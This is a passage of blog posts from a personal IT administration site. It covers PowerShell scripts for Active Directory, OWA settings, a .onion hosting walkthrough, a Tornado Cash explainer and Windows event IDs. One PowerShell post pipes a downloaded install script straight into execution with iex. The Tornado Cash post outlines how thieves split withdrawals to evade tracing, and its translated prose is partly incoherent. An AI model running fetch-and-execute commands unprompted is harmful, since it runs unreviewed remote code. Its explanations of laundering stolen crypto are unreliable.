https://mail.domain.com/ecp?mkt=CN-cn Turkish URL: https://mail.domain.com/ecp?mkt=TR-tr In addition, we can click on the gear icon in the upper right corner of the OWA interface, select the Region and time zone under the General tab on the screen opened in the options section, and change the Language option, date display format and current time zone. Umarım faydalı olmuştur – Best regards --- ## Money Mixer project on the market TORNADO Cash! Link: https://farukguler.com/posts/tornado-cash-nedir/ The most dangerous project on the market is the Money Mixer TORNADO! Decentralized and non-custodial Tornado Cash is an Ethereum-based solution for privacy and anonymity. Disconnecting the on-chain link between coin senders and recipients increases transaction anonymity. This guide will provide our readers with more information about Tornado Cash. We will start with a general introduction and go deeper into how Tornado Cash works. For the reader's benefit, we will also include a list of pros and cons to this system. Understanding Tornado Cash Decentralized protocols such as Tornado Cash (TORN) use Ethereum as a platform to facilitate anonymous token transfers. This token mixing platform celebrates its success, the zcash privacy coin system. Tornado Cash for transactions, ERC-20 protocol on Ethereum. Once the deposit or withdrawal is complete, As a result, you can ask someone to send money to Tornado Cash and withdraw funds from your wallet. Considering that we are talking about a public blockchain like Ethereum, this mechanism ensures that your financial privacy is protected. A Look Behind the Scenes Let's say you're a blockchain expert tasked with finding a thief who recently stole your cryptocurrency. After checking Etherscan for the address of the stolen assets, you may discover that the hacker is using Tornado Cash. Specifically, a hacker can deposit all stolen funds into Tornado Cash. However, there is no way of knowing where your tokens are going after this point. An inexperienced hacker can redirect the stolen amount to a new wallet immediately after depositing it into Tornado. If this happens, you will be able to locate the suspicious process relatively simply. However, a more experienced hacker might find a way around this problem. For example, hackers can split the stolen amount into dozens of smaller transactions. A hacker can spread withdrawals with random small transactions over a long period of time. Tornado Cash's design is quite simple, but it can hide the tracks of its users. Without regulatory investigations, there is no way to link the respective deposits and withdrawals. As an Ethereum blockchain application, Tornado is widely available and simple for both new and experienced users. Who created Tornado Cash? Roman Semenov and Roman Storm are the brains behind this coin mixing business. Despite having an official background in Metallurgical Engineering, Storm joined the blockchain industry in 2011. Various DeFi startups including Blockchainlabs.nz, Amazon, PepperSec, and 0x and Aave are among its previous employers. Their work included evaluating Solidity code, creating smart contracts, and creating ERC-20 tokens for these firms. He also worked on the development of smart contracts. Roman Semenov's academic background focusing on field theory and quantum statistics is also interesting. He was also the co-founder of PepperSec and Viking Studio. He was also among the tasks of optimizing sales funnels and e-commerce conversions at RedHelper. The Tornado Cash blockchain project is based on open source Zcash technology. But Tornado Cash's anonymity mixer service is more popular than Zcash. A Proprietary Tokenized System Like most smart contract technologies, Tornado Cash relies on a native token to manage and provide services. This project depends on the TORN token, which the team claims allows them to relinquish control of the protocol. Within five years, most TORN tokens (55 percent) will enter the market through its community and treasury. Developers and investors hold a 30% stake in TORN's entire supply. The remaining 15% goes to airdrop events (5%) and mining operations (10%). TORN tokens have a relatively wide range of applications. For example, owners can take advantage of anonymity mining. Tornado Cash has Anonymity Sets, as you may have observed if you have played with the platform. Users can add coins to these sets and earn rewards, triggering anonymity mining. Tornado Cash Pros Tornado Cash is a crypto 'mixer', a service that aggregates cryptocurrencies and distributes them to new addresses. ERC-20 compatibility is undoubtedly one of the main advantages of this system. We can identify the system's token on sites like CoinMarketCap, which is often a way of gaining higher market traction. The anonymity mining feature rewards users for supporting the privacy functions of the project by giving them liquidity. This aspect appears to have the potential to provide a long-term improvement in the way Tornado Cash anonymizes transactions. Finally, for investors interested in privacy, Tornado Cash offers a relatively simple set of tools on the market. User friendliness is a key feature in the industry if you want to have a wide market reach. Cons of Tornado Cash Mixers don't change the game, as they've been around for a while. Remember that even if you use it, it will leave a permanent mark on your address. If you have a mixer in your wallet, everyone will know by looking at Etherscan. Ask yourself if this is a risk you're ready to run. Tightening crypto legislation may cause authorities to send you an investigation into the matter. Editors may question why you used a mixing service before. Those who choose to engage in illegal activities will have to face the consequences of their actions. The possibility of a hacker to abuse this system is a factor to consider among its disadvantages. If lawmakers decide to tighten their crypto policies, Tornado Cash and similar alternatives will likely be at the center of the regulator's considerations. As a final point of contention, experienced Tornado Cash users often complain about the lack of anonymity capabilities. Key Takeaways Tornado Cash can be a boon for some people who value their privacy. However, the anonymity provided by the service can sometimes be less than ideal for other users. Tornado Cash is a service that helps people protect their privacy and anonymity. In doing so, it wishes to grant independence from the interference of external authorities. Almost all the positive and negative aspects of this decentralized cryptographic system are evident in this last statement. Umarım faydalı olmuştur. – I hope it was useful. --- ## Domain Admin Password Expiry Report Link: https://farukguler.com/posts/domain-admin-password-expiry-report/ # Settings$smtpServer = "relay.guler.com" # SMTP server$smtpFrom = "passexpire@guler.com" # Receiver$smtpTo = ("farukguler@guler.com") # Receiver e-mail$subject = "Domain admin Password Expiry Report"$body = "Domain Admin users will expire""# Password expiration calculation$expiryDays = 30$currentDate = Get-Date$report = Get-ADGroupMember -Identity "Domain Admins" | ForEach-Object { $user = Get-ADUser -Identity $_.SamAccountName -Properties "PasswordLastSet", "PasswordNeverExpires" if ($user.PasswordNeverExpires -eq $false) { $lastSet = $user.PasswordLastSet $expiryDate = $lastSet.AddDays($expiryDays) [PSCustomObject]@{ UserName = $user.Name #PasswordLastSet = $lastSet Pass_Expire_date_time = $expiryDate } }} | Format-Table -AutoSize | Out-String# Sending an email$message = New-Object system.net.mail.mailmessage$message.from = $smtpFrom$message.To.Add($smtpTo)$message.Subject = $subject$message.Body = "$body`n`n$report"$smtp = New-Object Net.Mail.SmtpClient($smtpServer)# Add recipient addressesforeach ($recipient in $smtpTo) { $message.To.Add($recipient)}# Sending emails$smtp.Send($message)Write-Output "Email sent successfully." --- ## Microsoft System Center Family All Products Link: https://farukguler.com/posts/system-center-family-all-products/ Microsoft System Center Product Family (10 Product) With "System Center" solutions, IT managers can easily and quickly perform any complex task on the system.At the same time, it can work in integration with all Windows systems.The “System Center” family products, which enable the consistent definition, dissemination, monitoring and management of IT resources, are as follows; 1. System Center Operation Manager (SCOM) It is the latest version of Microsoft Operations Manager(MOM). It is a product that can be used to prevent problems and increase productivity in IT environments. The purpose is to monitor IT services.It is to detect any problem to be experienced beforehand and to fix it without interrupting other services. It has more than 50 management packs on it.As SCOM can be used as role-based, it can also be ensured that each role is considered as a single machine. In this way, it provides an end-to-end management.Logs of selected computers are stored in a central place and reports are generated. In this way, faster fault detection and isolation can be done.It can also work in an integrated manner with non-Microsoft products. It can also be used for enterprise builds. This means that 1000s of servers can be managed. 2. Microsoft Endpoint Configuration Manager (MECM) Its former name is System Center Configuration Manager (SCCM). All kinds of routine tasks within the IT organization can be performed automatically.Windows server and client operating systems can be installed easily and quickly. Update needs can be determined to eliminate security vulnerabilities.If an upgrade is to be made, the compatibility of the systems can be easily tested. SCCM is the resource for preparing the inventory information of the computers in the organization.It can also be preferred for the secure management of remote union scenarios. 3. System Center Data Protection Manager(SCDPM) Data Protection Manager (DPM) can be used to ensure the security of data in Windows-based operating systems and to quickly return it in any problem scenario.With DPM, both “Tape”-based and “Disk”-based backup and restore operations can be performed.Backup operations can be performed for server roles such as Exchange Server, File Server, Sharepoint Server, SQL Server, which are vital especially in Active Directory domains.Again, server roles installed on operating systems such as Windows Server 2008 can be backed up as "System State" and these backups can be restored.In this way, the continuity of the structure can be ensured without interrupting the existing IT infrastructure. 4. System Center Virtual Machine Manager (SCVMM) Virtualization will be mentioned frequently today and in the future. In particular, it helps to reduce costs and supports all kinds of platforms.In addition, it can perform both server and client consolidation (compilation, assembly in a central area).It reduces hardware costs by running multiple server roles on a single physical machine. Of course, cost savings appear as a plus in such a case, not only in hardware but also in licensing.Apart from such benefits, the desired tests on all kinds of platforms can be tried on virtual machines before trying them on real structures. SCVMM, on the other hand, is a solution offered to manage virtual server roles running on physical machines in corporate environments from a single center.All of Visual, Application, Desktop and Server virtualizations, that is, all kinds of virtualization solutions, can be managed with SCVMM.Define my virtual machines on SCVMM and ask "Which virtual system is running on which physical machine?" Answers to questions such as:In this way, the desired virtual machine can be operated on the desired physical machine according to the density decision to be made. It can make more detailed reporting by installing SCOM add-on on SCVMM.Again, thanks to this add-on, the health status of the machines can be monitored. It is possible to save the settings made while creating virtual machines on SCVMM as a profile and apply the same settings to all machines that will be created from now on. 5. System Center Capacity Planner (SCCP) This product of the “System Center” family is a product developed entirely on planning.Exchange, SCOM, SQL, etc., which are planned to be installed on the corporate network. It is a hardware-based guide for planning the installation of server roles such asIn this way, more efficient installations can be planned and costs and fault tolerance can be minimized. Planning can be done not only for new installations but also for update scenarios.Especially in the update scenario, analyzes can be made on hardware, architecture and software. Infrastructure scaling can be done in distributed installations.In this way, the performance of the existing structure can also be modeled. With SCCP, bottlenecks that may occur in the future can be identified and reports can be prepared. Using SCCP, the impact of changes made to the corporate network can be understood.It can be ensured that all servers are working efficiently. 6. System Center Service Manager (SCSM) The primary purpose of IT organizations is to analyze and fix problems from end users. TOf course, there are certain solutions that every institution monitors and reports on such problems.SCSM can be used to track and monitor such ongoing workflows within IT.Wizard-based forms can be used to create workflows. It can work in integration with third party applications.At the same time, Microsoft Operations Framework (MOF) processes can be automated in this way.SCSM provides end-to-end management in the IT organization. It is a complex solution that enables “System Center” components to work together. 7. System Center Mobile Device Manager (SCMDM) SCMDM is a solution that controls the access of Windows Mobile devices to the corporate network. In this way, it can be ensured that the "Group Policy" settings are applied to mobile devices before they access the IT network.Any application can be allowed or prohibited. Data security is at the forefront of mobile devices. Because they are easy to steal devices. With SCMDM, it is possible to remotely restore stolen devices to factory settings and erase their contents.With this product of the “System center” family, all mobile devices of the institution can be controlled through a single interface.SCMDM works based on WSUS 3.0 and performs automatic update and hotfix distribution.It can be run with SCMDM MMC as well as managed with cmdlets in Powershell. More stable internetwork roaming can be achieved with device authorization for VPN connections made by mobile devices.SCMDM complies with the OMA-DM standards supported by most mobile devices today. 8. System Center Essentials (SCE) SCE is the “System center” family product that can be preferred by medium-sized IT organizations that have a maximum of 500 servers and 500 clients.It can be used to monitor the IT environment more effectively, to follow its updates and to detect any problems that may be encountered.SCE provides proactive management, unified experience and high efficiency that can be used in the entire IT environment.In this way, it offers a single console for monitoring and viewing all software, hardware, servers and clients.In this way, collecting data from the IT organization becomes automated. Complex administrative tasks become simple. The result is a more efficient, up-to-date and reliable IT environment. 9. System Center Endpoint Protection (SCEP) By positioning the Endpoint Protection solution, which provides industry-leading protection against malicious software for client and server operating systems, over this infrastructure offered by System Center products, it offers a common experience by combining client security and management at a single point. 10. System Center Orchestrator (SCO) Digitek aims to provide the highest efficiency with this solution, which is on all the products of System Center 2012, which enables these products to communicate with each other and conducts the workflow, centralizes, automatizes and facilitates the workflows. Umarım faydalı olmuştur - Best regards --- ## Checking local admin accounts in the domain computers with Powershell Link: https://farukguler.com/posts/checking-local-admin-accounts-in-the-domain-computers-with-powershell/ Import-Module activedirectoryGet-LocalAdminToCsv -Path "OU=Server,DC=guler,DC=com" #Spesific OU#Get-LocalAdminToCsv -ComputerName PC1,PC2,PC3 #Spesific Computer#Get-localAdmintoCSV #All Domainfunction Get-LocalAdminToCsv { Param( $Path = (Get-ADDomain).DistinguishedName, $ComputerName = (Get-ADComputer -Filter * -Server (Get-ADDomain).DNsroot -SearchBase $Path -Properties Enabled | Where-Object {$_.Enabled -eq "True"}) ) begin{ [array]$Table = $null $Counter = 0 } process { $Date = Get-Date -Format MM_dd_yyyy_HH_mm_ss $FolderName = "LocalAdminsReport("+ $Date + ")" New-Item -Path ".\$FolderName" -ItemType Directory -Force | Out-Null foreach($Computer in $ComputerName) { try { $PC = Get-ADComputer $Computer $Name = $PC.Name $CountPC = @($ComputerName).count } catch { Write-Host "Cannot retrieve computer $Computer" -ForegroundColor Yellow -BackgroundColor Red Add-Content -Path "C:\Cannot_Comp.txt" "$Name" continue } finally { $Counter ++ } Write-Progress -Activity "Connecting PC $Counter/$CountPC " -Status "Querying ($Name)" -PercentComplete (($Counter/$CountPC) * 100) try { $row = $null $members =[ADSI]"WinNT://$Name/Administrators" $members = @($members.psbase.Invoke("Members")) $members | foreach { $User = $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null) $row += $User $row += " ; " } write-host "Computer ($Name) has been queried and exported." -ForegroundColor Green -BackgroundColor black $obj = New-Object -TypeName PSObject -Property @{ "Name" = $Name "LocalAdmins" = $Row } $Table += $obj } catch { Write-Host "Error accessing ($Name)" -ForegroundColor Yellow -BackgroundColor Red Add-Content -Path "C:\Access_Err.txt" "$Name" } } try { $Table | Sort Name | Select Name,LocalAdmins | Export-Csv -path "C:\Report_adm.csv" -Append -NoTypeInformation } catch { Write-Warning $_ } } end{} } --- ## Why LINUX? Link: https://farukguler.com/posts/why-linux/ Linux işletim sistemi, Finlandiyalı bir üniversite öğrencisi olan Linus Torvalds tarafından 1991 yılında geliştirilmeye başlanmıştır. Bu işletim sistemi, POSIX standartlarına uygun şekilde Unix mimarisi ile uyumlu olarak yazılmıştır ve tamamen özgür yazılım olarak yayınlanmıştır. İlk başta sadece bir çekirdek yazılımı olarak geliştirilmiş olsa da, zamanla diğer geliştiriciler tarafından kullanıcı araçları, kütüphaneler ve araçlar eklenmiştir. Richard Stallman, 1984 yılında, özgür yazılım projesi olarak GNU Tasarısı adı altında yeni bir işletim sistemi geliştirme projesi başlatmıştı. GNU projesi, Unix benzeri bir işletim sistemi için kullanıcı araçları ve diğer yazılım bileşenlerinin geliştirilmesi için çalışmalar yürütmüştü. Ancak, çekirdek yazılımı eksik kalmıştı. Linux çekirdeği, GNU Projesi'nin geliştirdiği diğer yazılımlarla birleştirilerek tam bir işletim sistemi haline getirildi. Bu sayede, GNU/Linux olarak adlandırılan işletim sistemi, özgür yazılım felsefesiyle uyumlu olarak yayınlandı. Linus Benedict Torvalds(The Linux Father) Linus Torvalds, Finlandiya'nın Helsinki şehrinde 28 Aralık 1969'da doğdu. Anne ve babası gazeteciydi ve İsveç azınlığına mensuptular. Torvalds, 1981 yılında iktisat profesörü olan büyükbabasının Commodore VIC-20 bilgisayarını kullanarak bilgisayarla tanıştı. Helsinki Üniversitesi Bilgisayar Bilimleri bölümüne 1988 yılında kaydoldu ve burada bilgisayar mühendisliği eğitimine başladı. Üniversitenin ikinci yılında, Finlandiya'nın zorunlu askerlik hizmetini yerine getirmek için eğitimine ara verdi. Askerliğini teğmen rütbesiyle tamamladıktan sonra üniversiteye geri döndü. Üniversite eğitimi sırasında Intel 80386 işlemcili bir IBM PC satın aldı ve bilgisayarında Minix işletim sistemini kullandı. Ancak, Minix'den memnun olmadığı bazı özellikleri geliştirmeye karar verdi. 1991 yılında, Finlandiya'da Linux çekirdeğinin ilk sürümünü yayınladı. İlk başta küçük bir projeydi ve sadece arkadaşları ve birkaç ilgili kişi tarafından kullanılıyordu. Ancak, Linus'un Linux çekirdeğine olan ilgisi ve çabaları, hızla büyüyen bir gönüllü geliştirici topluluğu yaratmasına neden oldu. 1996 yılında, Kaliforniya merkezli Transmeta şirketinden iş teklifi aldı ve ABD'ye taşındı. Burada şirketin merkezi işlemci birimlerini geliştiren bir ekip yönetti. 2003 yılında Transmeta'dan ayrıldı ve Linux Vakfında çalışmaya başladı. Linus Torvalds, şu anda eşi Tove Torvalds ve üç çocuğuyla birlikte Oregon, ABD'de yaşıyor ve hala Linux çekirdeği üzerinde çalışıyor. --- ## JSON Nedir? Link: https://farukguler.com/posts/json-nedir/ JSON Nedir? - What is JSON? JSON'un açılımı Javascript Object Notation'dur. Yapısı XML'e benzer. Javascript'in alt kümesi olduğundan javascript işlemleride XML'e göre daha hızlıdır. XML'e göre daha az yer kaplar. Okunabilirliği XML'e göre daha kolaydır. JSON Yapısı - JSON Structure JSON verileri anahtar (key) ve değer (value) çiftlerinden oluşur. Burada anahtar string yapısında olurken değerler string, value, numeric, ya da boolean gibi  herhangi bir veri tipinde olabilir.Veriler birbirlerine {}, küme işareti açma – kapama, ile bağlanır ve JSON Object (Nesnesi) olarak adlandırılır. Örnek JSON kodu - Example JSON code { "ad":"Ahmet", "soyad":"Mehmet" "yas":33 "ulke":"Turkey" } --- ## AD DSRM (Directory Services Restore Mode) Parolasının Sıfırlanması Link: https://farukguler.com/posts/resetting-dsrm-directory-services-restore-mode-password/ Active Directory Domain Services (AD DS) Restore Mode (DSRM), bir Windows Domain Controller sunucusunda Active Directory veritabanını kurtarma işlemi için kullanılan özel bir moddur. Bu modda, yerel bir hesap olan "Administrator" hesabı, normalde etkin olmayan bir durumda olan bir yönetici hesabı haline gelir ve bu hesap, etkin dizin hizmetleri (Active Directory) rolüne sahip tüm sunucularda kullanılabilir. Ancak, zaman zaman DSRM parolasının sıfırlanması gerekebilir. Bunun nedeni, DSRM parolasının unutulması veya kaybolmasıdır. DSRM parolası, sunucunun Active Directory veritabanını kurtarma işlemleri sırasında kullanılan önemli bir güvenlik öğesidir. Bu parola, yalnızca sunucunun yerel Administrator hesabı tarafından bilinir. DSRM parolasının sıfırlanması işlemi, Active Directory Restore Mode'da (DSRM) yerel bir hesap olan "Administrator" hesabı kullanılarak gerçekleştirilir. Bu işlem, sunucunun normal çalışma modunda değil, ancak DSRM'de olduğu durumlarda gerçekleştirilir. CMD: $ntdsutil $set dsrm password $reset password on server null #eğer partner dc varsa: reset password on server *dc2.guler.com *192.168.10.25 #yeni şifreyi giriniz - please confirm new password Umarım faydalı olmuştur. – I hope it was useful. --- ## .ONION Alan Adı Nasıl alınır? Link: https://farukguler.com/posts/onion-alan-adi-nasil-alinir/ 1.Adım Tor tarayıcısını açıktan sonra URL satırına https://fhostingineiwjg6cppciac2bemu42nwsupvvisihnczinok362qfrqd.onion bu hosting adresini yapıştırın. 2. Adım Açılan sayfada Username (Kullanıcı adı), Password (Şifre), Confirm password (Şifre Tekrarı), Copy (Bot Kontrolü) ve Kullanım sözleşmesini kabul edin. 3. Adım Üye olduktan sonra uyarı mesajı alacaksınız. poiuytrdcvbhjuyuijhgfdswerg.onion gibi rastgele alan adı üretilecektir. 4. Adım https://fhostingineiwjg6cppciac2bemu42nwsupvvisihnczinok362qfrqd.onion/login/ adresinden kullanıcı adı ve şifrenizi yazarak giriş yapın. 5. Adım Giriş işlemini yaptıktan sonra kontrol paneli açıklacaktır. 6. Diğer hosting Firması: https://comhostdymd5dd3v4d57mn363iamvqvmade7arsed7objrjldmgesdad.onion 7. Adım Kontrol panelinde yer alan File Manager linkine tıklayın. Yeni sekme açıkcaktır. 8. Adım Açılan sayfaya şifrenizi girin. 9. Adım wwww klasörüne tıklayın. 10. Adım Daha önceden hazırladığımız sitemizin site.zip dosyasını Gözat kısmından seçip Upload tuşuna basın. 11. Adım site.zip dosyasını seçip Unzip yaparak html dosyasını File Manager içinde açın. 12. Adım poiuytrdcvbhjuyuijhgfdswerg.onion adresine ziyaret ederek yüklediğimiz html web sitenizi görüntüleyebilirsiniz. --- ## NoSQL ve SQL arasındaki fark nedir? Link: https://farukguler.com/posts/nosql-sql-arasindaki-fark/ SQL ve NoSQL, farklı veritabanı yönetim sistemleri (DBMS) türlerini ifade eder. SQL (Structured Query Language), geleneksel ilişkisel veritabanı yönetim sistemleri için bir standart dildir. SQL, bir veritabanı yönetim sistemi üzerinde veri tabanları, tablolar ve diğer nesneler üzerinde sorgular yapmak için kullanılır. NoSQL ise SQL dışındaki veritabanı yönetim sistemleri için kullanılan bir terimdir. NoSQL veritabanları, ilişkisel veritabanlarından farklıdır çünkü verileri depolama ve sorgulama yöntemleri açısından daha esnek ve ölçeklenebilirdirler. NoSQL veritabanları, aynı tür verileri tutan ve farklı veri tipleri arasında ilişki kurmayan belgeler veya anahtar-değer çiftleri gibi yapıları kullanırlar. Bu veritabanları genellikle büyük ölçekli, dağıtık uygulamalar ve web siteleri için uygundur. Bu nedenle, SQL ve NoSQL arasındaki ana fark, verileri nasıl sakladıkları ve sorguladıklarıdır. SQL veritabanları, yapısal olarak ilişkili verileri depolarken, NoSQL veritabanları daha esnek bir yapı kullanarak verileri depolar ve sorgular. SQL Veritabanı Yönetim Sistemleri: Artıları: Yıllardır kullanılan bir teknoloji olduğundan, iyi bilinir ve çok sayıda özellik ve araçlar mevcuttur. İlişkisel veritabanları, birden çok tablo arasındaki ilişkileri kolayca yönetmenizi sağlar. SQL sorguları, çok çeşitli verileri sorgulamak, filtrelemek ve analiz etmek için kullanılabilir. Verilerin doğruluğunu ve tutarlılığını korumak için birtakım kısıtlamalar ve kontrol mekanizmaları sunar. Eksileri: SQL veritabanları, ölçeklenebilirlik açısından sınırlıdır. Büyük veri işleme veya yüksek trafikli uygulamalar gibi ölçeklenebilirlik gerektiren senaryolarda performans sorunları yaşayabilirler. İlişkisel veritabanlarındaki şema değişiklikleri, uygulamanın tüm yönlerindeki kod değişikliklerini gerektirebilir. SQL sorguları karmaşık hale gelebilir ve yüksek trafikli uygulamalarda performans sorunlarına neden olabilir. NoSQL Veritabanı Yönetim Sistemleri: Artıları: Esnek yapıları sayesinde, NoSQL veritabanları, ölçeklenebilirlik ve performans açısından daha iyi bir seçenektir. Büyük veri işleme ve yüksek trafikli uygulamalar için daha uygundurlar. Veritabanlarına yeni alanlar ve veriler eklendikçe şema değişiklikleriyle uğraşmak zorunda kalmazsınız. NoSQL veritabanları, genellikle daha hızlı sorgulama performansı sağlar. Eksileri: NoSQL veritabanları, biraz daha az gelişmiş araçlara sahiptir ve SQL gibi çok sayıda özellik ve araç mevcut değildir. İlişkisel veritabanlarda olduğu gibi, birden çok veri kümesi arasındaki ilişkileri yönetmek için kullanılan özellikler yoktur. NoSQL veritabanları, veri bütünlüğü ve doğruluğunu korumak için daha az kısıtlama ve kontrol mekanizması sunarlar. Sonuç SQL ve NoSQL veritabanı yönetim sistemlerinin her birinin artıları ve eksileri vardır. İlişkisel veritabanları yönetmek ve SQL sorguları yapmak için SQL veritabanı yönetim sistemleri tercih edilebilir. Bununla birlikte, büyük veri işleme veya yüksek trafikli uygulamalar gibi ölçeklenebilirlik gerektiren senaryolarda performans sorunları yaşanabileceği için NoSQL veritabanı yönetim sistemleri daha uygun olabilir. Hangi veritabanı yönetim sistemini kullanmanız gerektiği, projenizin gereksinimlerine ve özelliklerine bağlı olacaktır. Bu nedenle, birçok proje, birden fazla veritabanı yönetim sistemi türü kullanarak verileri farklı şekillerde saklar ve işler. Popüler SQL örnekleri: MySQL Oracle Microsoft SQL Server PostgreSQL IBM DB2 SQLite MariaDB SAP HANA Amazon RDS Microsoft Access Popüler NoSQL örnekleri: MongoDB Cassandra Redis Couchbase HBase Neo4j Apache CouchDB Amazon DynamoDB Riak MarkLogic Arango RavenDB Best Regards. – Saygılarımla. --- ## 90 Gün login olmayan Bilgisayarlarının Disable Edilmesi veya silinmesi Link: https://farukguler.com/posts/kullanici-bilgisayarlar-disable/ PS ISE: Userların Tespiti ve Disable Edilmesi veya silinmesi: Import-Module ActiveDirectory $domain = "guler.com" //Date Degiskeni $day= 90 $time= (get-date).AddDays(-($day)) $users= Get-ADUser -Filter -SearchBase "OU=personals,DC=guler,DC=com" {LastlogonTimeStamp -lt $time} -Properties LastLogonTimeStamp | Select-Object Name,@{Name="Stamp"; Expression={[DateTime]::FromFileTime($_.lastLogonTimestamp)}} //Tespit edilen kullanicilar içinden service accountlari siliniz! - Delete the service accounts among the detected users! $users | Export-Csv c:\Users.csv //Tespit edilen kullanıcıların Disable edilmesi //Import-Csv C:\Users.csv |ForEach-Object{Set-ADUser -Identity $_.Name -Enabled $false} // ** Dikkat: Silinmesi - Important: Deletion //test ps command Bilgisayarların Tespiti ve Disable Edilmesi veya silinmesi: Import-Module ActiveDirectory $domain = "guler.com" //Date Degiskeni $day= 90 $time= (get-date).AddDays(-($day)) //tespiti bu kısımda SearchBase ile OU belirtebilirsiniz. $computer= Get-ADComputer -Filter {LastlogonTimeStamp -lt $time} -Properties LastLogonTimeStamp | Select-Object Name,@{Name="Stamp"; Expression={[DateTime]::FromFileTime($_.lastLogonTimestamp)}} //Tespit edilen bilgisayarların Disable edilmesi foreach($com in $computer){ Set-ADComputer -Identity $com.Name -Enabled $false} // ** Dikkat: Silinmesi - Important: Deletion //test ps command Saygılarımla. – Best regards. --- ## Distribution of SSL Certificate with Group Policy (GPO) Link: https://farukguler.com/posts/distribution-of-ssl-certificate-with-group-policy-gpo/ GPO: Computer Configuration/Policies/Windows Settings/Security Settings/Public Key Policies/Trusted Root Certification Authorities  --- ## Windows 10 PowerShell 7 En Son Sürüme yükseltilmesi Link: https://farukguler.com/posts/upgrade-powershell-7/ PowerShell 7'deki Yenilikler PowerShell 5 , Windows 10'da varsayılan olarak yüklenen sürüm çok güçlü bir araçtır ve çoğu kullanıcı için fazlasıyla yeterlidir. Ancak, özellikle bu tür komut dosyalarıyla çalışan ileri düzey kullanıcılar ve geliştiriciler için her zaman iyileştirme için yer vardır. Bu nedenle, PowerShell'in yeni sürümlerinde şu ana kadar bu araçta bulunmayan işlevleri ve özellikleri bulabiliriz, örneğin: Parallel pipeline Yeni operatörler Yeni cmdlet (ConciseView ve Get-Error) Yeni sürüm bildirimleri Kapalı oturumlarda modülleri çağırmak için uyumluluk katmanları Kaynakları doğrudan konsol penceresinden çağırabilme Update PowerShell to the latest version - PowerShell'i en son sürüme güncelleyin. PS: #powershell version check - #powershell sürüm kontrolü $PSversionTable #latest Powershell download and install (msi) - Sonsürüm Powershell indir ve yükle iex "& { $(irm https://aka.ms/install-powershell.ps1) } -UseMSI" #rety powershell version check - tekrar powershell versiyon kontrolü $PSversionTable MSI paketi aracılığıyla PowerShell 7 Yüklemek için: https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows Saygılarımla. – Best regards. --- ## PowerShell PS Remoting Nedir? Link: https://farukguler.com/posts/powershell-ps-remoting/ PowerShell PS Remoting, bir PowerShell oturumu başlatmak ve bir uzak bilgisayarda PowerShell komutlarını çalıştırmak için kullanılan bir özelliktir. Bu özellik sayesinde PowerShell komutları, uzak bir bilgisayar üzerinde de çalıştırılabilir. PS Remoting, PowerShell'in WinRM (Windows Remote Management) teknolojisini kullanarak çalışır. WinRM, uzak bir bilgisayar üzerinde birleşik bir yönetim denetleyicisi sağlar ve WinRM istemcisi, bir uzak bilgisayarla iletişim kurmak için WinRM sunucusunu kullanır. PS Remoting ile uzak bir bilgisayarda PowerShell oturumu başlatmak için, öncelikle uzak bilgisayarın PS Remoting özelliği etkinleştirilmelidir. Bu işlem, uzak bilgisayarda çalıştırılacak birkaç PowerShell komutu ile gerçekleştirilebilir. Ardından, bir PowerShell oturumu başlatmak için Invoke-Command cmdlet'i kullanılabilir. PS Remoting, birçok yönetim senaryosunda oldukça faydalıdır. Örneğin, uzak bir bilgisayarda bulunan belirli bir uygulama hakkında bilgi almak, bir uzak sunucuda bir PowerShell betiği çalıştırmak, bir uzak bilgisayarda bulunan servislerin durumunu denetlemek gibi birçok görev, PS Remoting kullanılarak kolayca gerçekleştirilebilir. Nasıl Kullanılır? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # WinRm servisi ve PowerShell Remoting sorgusu: Get-PSSessionConfiguration # PowerShell Remoting özelliğini manual olarak açmak için: Enable-PSRemoting -Force # PowerShell Remoting özelliğini kapatmak için: Disable-PSRemoting -Force # "Enter-PSSession" komutunu kullanarak uzak bilgisayara bağlanıp komut vermek için: Enter-PSSession -ComputerName 192.168.1.100 -Credential guler.com\Admin04 Enter-PSSession -ComputerName COMPUTER-696YS5KF -Credential guler.com\Admin04 # Doğrudan komut vermek için: Invoke-Command -ComputerName 192.168.1.100 -Credential guler.com\Admin04 -ScriptBlock { ipconfig } # Bağlantıyı Kapatmak için: Exit-PSSession #Uzak makinelerde Komut yada GPO ile aktif edebilirsiniz. --- ## Atatürk’ün Gençliğe Hitabesi Link: https://farukguler.com/posts/ataturk-genclige-hitabe/    Ey Türk gençliği! Birinci vazifen; Türk istiklalini, Türk cumhuriyetini, ilelebet muhafaza ve müdafaa etmektir.    Mevcudiyetinin ve istikbalinin yegâne temeli budur. Bu temel, senin en kıymetli hazinendir. İstikbalde dahi seni bu hazineden mahrum etmek isteyecek dâhilî ve haricî bedhahların olacaktır. Bir gün, istiklal ve cumhuriyeti müdafaa mecburiyetine düşersen, vazifeye atılmak için içinde bulunacağın vaziyetin imkân ve şeraitini düşünmeyeceksin. Bu imkân ve şerait, çok namüsait bir mahiyette tezahür edebilir. İstiklal ve cumhuriyetine kastedecek düşmanlar, bütün dünyada emsali görülmemiş bir galibiyetin mümessili olabilirler. Cebren ve hile ile aziz vatanın bütün kaleleri zapt edilmiş, bütün tersanelerine girilmiş, bütün orduları dağıtılmış ve memleketin her köşesi bilfiil işgal edilmiş olabilir. Bütün bu şeraitten daha elim ve daha vahim olmak üzere, memleketin dâhilinde iktidara sahip olanlar, gaflet ve dalalet ve hatta hıyanet içinde bulunabilirler. Hatta bu iktidar sahipleri, şahsi menfaatlerini müstevlilerin siyasi emelleriyle tevhit edebilirler. Millet, fakruzaruret içinde harap ve bitap düşmüş olabilir.    Ey Türk istikbalinin evladı! İşte, bu ahval ve şerait içinde dahi vazifen, Türk istiklal ve cumhuriyetini kurtarmaktır. Muhtaç olduğun kudret, damarlarındaki asil kanda mevcuttur. --- ## Windows Event Viewer log Event ID's Link: https://farukguler.com/posts/event-viewer-log-ids/ 1- Windows Server and Client Logs: Microsoft General Log ID's Event ID Açıklama 1100,The event logging service has shut down,Windows 1101,Audit events have been dropped by the transport.,Windows 1102,The audit log was cleared,Windows 1104,The security Log is now full,Windows 1105,Event log automatic backup,Windows 1108,The event logging service encountered an error,Windows 4608,Windows is starting up,Windows 4609,Windows is shutting down,Windows 4610,An authentication package has been loaded by the Local Security Authority,Windows 4611,A trusted logon process has been registered with the Local Security Authority,Windows 4612,"Internal resources allocated for the queuing of audit messages have been exhausted, leading to the loss of some audits.",Windows 4614,A notification package has been loaded by the Security Account Manager.,Windows 4615,Invalid use of LPC port,Windows 4616,The system time was changed.,Windows 4618,A monitored security event pattern has occurred,Windows 